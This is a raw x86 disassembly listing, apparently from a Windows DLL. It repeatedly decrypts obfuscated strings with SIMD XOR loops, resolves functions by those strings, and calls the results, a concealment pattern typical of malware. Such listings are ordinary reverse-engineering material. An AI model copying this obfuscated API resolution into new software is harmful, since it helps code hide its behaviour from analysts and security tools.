cmovae ecx, dword [ebp - 0x48]
call fcn.100470f0
mov ecx, dword [ebp - 0x34]
mov edi, eax
cmp ecx, 0x10
jb 0x100692fc
mov edx, dword [ebp - 0x48]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100692f2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10069c54
push ecx
push edx
call fcn.100b0b76
add esp, 8
test edi, edi
je 0x10069bb5
mov eax, dword [0x100f33b4]
xor edx, edx
cmp dword [0x1010f2d8], 2
movups xmm0, xmmword [str.wNjIXLF_t___6_3___r__O]
mov dword [ebp - 0x59], eax
mov ax, word [0x100f33b8]
mov word [ebp - 0x55], ax
mov al, byte [0x100f33ba]
movups xmmword [ebp - 0x69], xmm0
mov byte [ebp - 0x53], al
mov dword [ebp - 0x14], edx
jl 0x10069470
movaps xmm0, xmmword [str.9999999999999999]
mov eax, 4
movaps xmm4, xmmword [0x100f8cc0]
movaps xmm3, xmmword [0x100f8fa0]
movaps xmm6, xmmword [0x100f8dc0]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0x30], xmm0
mov ecx, dword [ebp - 0x30]
movd xmm7, eax
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x100f8f50]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x69]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + edx - 0x69], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x100f8f50]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x65]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x65], xmm1
add edx, 8
cmp edx, 0x10
jl 0x10069370
mov dword [ebp - 0x14], edx
cmp edx, 0x17
jge 0x1006949e
nop
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x14]
movsx eax, al
mov cl, dl
imul eax, eax, 0x36
sub cl, al
add cl, 0x39
xor byte [ebp + edx - 0x69], cl
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0x17
jl 0x10069470
xorps xmm0, xmm0
mov dword [ebp - 0x38], 0
lea ecx, [ebp - 0x69]
mov dword [ebp - 0x34], 0
movups xmmword [ebp - 0x48], xmm0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100694c0
sub ecx, edx
lea eax, [ebp - 0x69]
push ecx
push eax
lea ecx, [ebp - 0x48]
call fcn.10049b80
mov dword [ebp - 4], 0x1e
lea edx, [ebp - 0x48]
cmp dword [ebp - 0x34], 0x10
push ecx
cmovae edx, dword [ebp - 0x48]
mov ecx, edi
call fcn.10047260
mov dword [ebp - 4], 0xffffffff
mov esi, eax
mov ecx, dword [ebp - 0x34]
cmp ecx, 0x10
jb 0x1006952d
mov edx, dword [ebp - 0x48]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10069523
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10069c59
push ecx
push edx
call fcn.100b0b76
add esp, 8
push esi
call dword [ebp - 0x4c]
mov eax, dword [0x100f3918]
xor edx, edx
movups xmm0, xmmword [0x100f3908]
mov dword [ebp - 0x57], eax
add esp, 4
cmp dword [0x1010f2d8], 2
mov al, byte [0x100f391c]
movups xmmword [ebp - 0x67], xmm0
mov byte [ebp - 0x53], al
mov dword [ebp - 0x14], edx
jl 0x100696a0
movaps xmm0, xmmword [str.9999999999999999]
mov eax, 4
movaps xmm4, xmmword [0x100f8cc0]
movaps xmm3, xmmword [0x100f8fa0]
movaps xmm6, xmmword [0x100f8dc0]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0x30], xmm0
mov ecx, dword [ebp - 0x30]
movd xmm7, eax
nop word [eax + eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x100f8f50]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x67]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + edx - 0x67], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x100f8f50]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x63]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x63], xmm1
add edx, 8
cmp edx, 0x10
jl 0x100695a0
mov dword [ebp - 0x14], edx
cmp edx, 0x15
jge 0x100696ce
nop
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x14]
movsx eax, al
mov cl, dl
imul eax, eax, 0x36
sub cl, al
add cl, 0x39
xor byte [ebp + edx - 0x67], cl
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0x15
jl 0x100696a0
xorps xmm0, xmm0
mov dword [ebp - 0x38], 0
lea ecx, [ebp - 0x67]
mov dword [ebp - 0x34], 0
movups xmmword [ebp - 0x48], xmm0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100696f0
sub ecx, edx
lea eax, [ebp - 0x67]
push ecx
push eax
lea ecx, [ebp - 0x48]
call fcn.10049b80
mov dword [ebp - 4], 0x1f
lea edx, [ebp - 0x48]
cmp dword [ebp - 0x34], 0x10
push ecx
cmovae edx, dword [ebp - 0x48]
mov ecx, edi
call fcn.10047260
mov dword [ebp - 4], 0xffffffff
mov esi, eax
mov ecx, dword [ebp - 0x34]
cmp ecx, 0x10
jb 0x1006975d
mov edx, dword [ebp - 0x48]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10069753
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10069c5e
push ecx
push edx
call fcn.100b0b76
add esp, 8
push esi
call dword [ebp - 0x4c]
movups xmm0, xmmword [str.wNjIXLF]
mov eax, dword [0x100f35b4]
xor edx, edx
mov dword [ebp - 0x57], eax
add esp, 4
cmp dword [0x1010f2d8], 2
mov al, byte [0x100f35b8]
movups xmmword [ebp - 0x6f], xmm0
mov byte [ebp - 0x53], al
movq xmm0, qword [0x100f35ac]
movq qword [ebp - 0x5f], xmm0
mov dword [ebp - 0x14], edx
jl 0x100698d2
movaps xmm0, xmmword [str.9999999999999999]
mov eax, 4
movaps xmm4, xmmword [0x100f8cc0]
movaps xmm3, xmmword [0x100f8fa0]
movaps xmm6, xmmword [0x100f8dc0]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0x30], xmm0
mov ecx, dword [ebp - 0x30]
movd xmm7, eax
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x100f8f50]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x6f]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + edx - 0x6f], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x100f8f50]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x6b]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x6b], xmm1
add edx, 8
cmp edx, 0x18
jl 0x100697d3
mov dword [ebp - 0x14], edx
cmp edx, 0x1d
jge 0x10069900
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x14]
movsx eax, al
mov cl, dl
imul eax, eax, 0x36
sub cl, al
add cl, 0x39
xor byte [ebp + edx - 0x6f], cl
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0x1d
jl 0x100698d2
xorps xmm0, xmm0
mov dword [ebp - 0x38], 0
lea ecx, [ebp - 0x6f]
mov dword [ebp - 0x34], 0
movups xmmword [ebp - 0x48], xmm0
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10069920
sub ecx, edx
lea eax, [ebp - 0x6f]
push ecx
push eax
lea ecx, [ebp - 0x48]
call fcn.10049b80
mov dword [ebp - 4], 0x20
lea edx, [ebp - 0x48]
cmp dword [ebp - 0x34], 0x10
push ecx
cmovae edx, dword [ebp - 0x48]
mov ecx, edi
call fcn.10047260
mov dword [ebp - 4], 0xffffffff
mov esi, eax
mov ecx, dword [ebp - 0x34]
cmp ecx, 0x10
jb 0x1006998d
mov edx, dword [ebp - 0x48]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10069983
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10069c63
push ecx
push edx
call fcn.100b0b76
add esp, 8
push esi
call dword [ebp - 0x4c]
mov eax, dword [0x100f3610]
xor edx, edx
movq xmm0, qword [0x100f3608]
add esp, 4
cmp dword [0x1010f2d8], 2
mov dword [ebp - 0x25], eax
mov al, byte [0x100f3614]
movq qword [ebp - 0x2d], xmm0
mov byte [ebp - 0x21], al
mov dword [ebp - 0x14], edx
jl 0x10069ad0
movaps xmm2, xmmword [0x100f8cc0]
mov eax, 4
movaps xmm4, xmmword [0x100f8fa0]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
mov edx, 8
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
movd xmm5, eax
mov eax, 0x1f
psrad xmm1, xmm5
mov dword [ebp - 0x14], edx
movaps xmm0, xmm1
movd xmm6, eax
mov eax, dword [str.9999999999999999]
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x100f8dc0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x100f8d00]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x100f8f50]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x100f3608]
pxor xmm1, xmm0
movaps xmm0, xmm2
movd dword [ebp - 0x2d], xmm1
movaps xmm1, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x100f8dc0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x100f8f50]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [ebp - 0x29]
pxor xmm1, xmm0
movd dword [ebp - 0x29], xmm1
nop dword [eax]
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x14]
movsx eax, al
mov cl, dl
imul eax, eax, 0x36
sub cl, al
add cl, 0x39
xor byte [ebp + edx - 0x2d], cl
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0xd
jl 0x10069ad0
xorps xmm0, xmm0
mov dword [ebp - 0x78], 0
lea ecx, [ebp - 0x2d]
mov dword [ebp - 0x74], 0
movups xmmword [ebp - 0x88], xmm0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10069b20
sub ecx, edx
lea eax, [ebp - 0x2d]
push ecx
push eax
lea ecx, [ebp - 0x88]
call fcn.10049b80
mov dword [ebp - 4], 0x21
lea edx, [ebp - 0x88]
cmp dword [ebp - 0x74], 0x10
push ecx
cmovae edx, dword [ebp - 0x88]
mov ecx, edi
call fcn.10047260
mov dword [ebp - 4], 0xffffffff
mov esi, eax
mov ecx, dword [ebp - 0x74]
cmp ecx, 0x10
jb 0x10069b99
mov edx, dword [ebp - 0x88]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10069b8f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10069c68
push ecx
push edx
call fcn.100b0b76
add esp, 8
push esi
mov dword [ebp - 0x78], 0
mov dword [ebp - 0x74], 0xf
mov byte [ebp - 0x88], 0
call dword [ebp - 0x4c]
add esp, 4
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.100b7b82
call fcn.100b7b82
call fcn.100b7b82
call fcn.100b7b82
call fcn.100b7b82
call fcn.100b7b82
call fcn.100b7b82
call fcn.100b7b82
call fcn.100b7b82
call fcn.100b7b82
call fcn.100b7b82
call fcn.100b7b82
call fcn.100b7b82
call fcn.100b7b82
call fcn.100b7b82
call fcn.100b7b82
call fcn.100b7b82
call fcn.100b7b82
call fcn.100b7b82
call fcn.100b7b82
call fcn.100b7b82
call fcn.100b7b82
call fcn.100b7b82
call fcn.100b7b82
call fcn.100b7b82
call fcn.100b7b82
call fcn.100b7b82
call fcn.100b7b82
call fcn.100b7b82
call fcn.100b7b82
call fcn.100b7b82
call fcn.100b7b82
call fcn.100b7b82
int3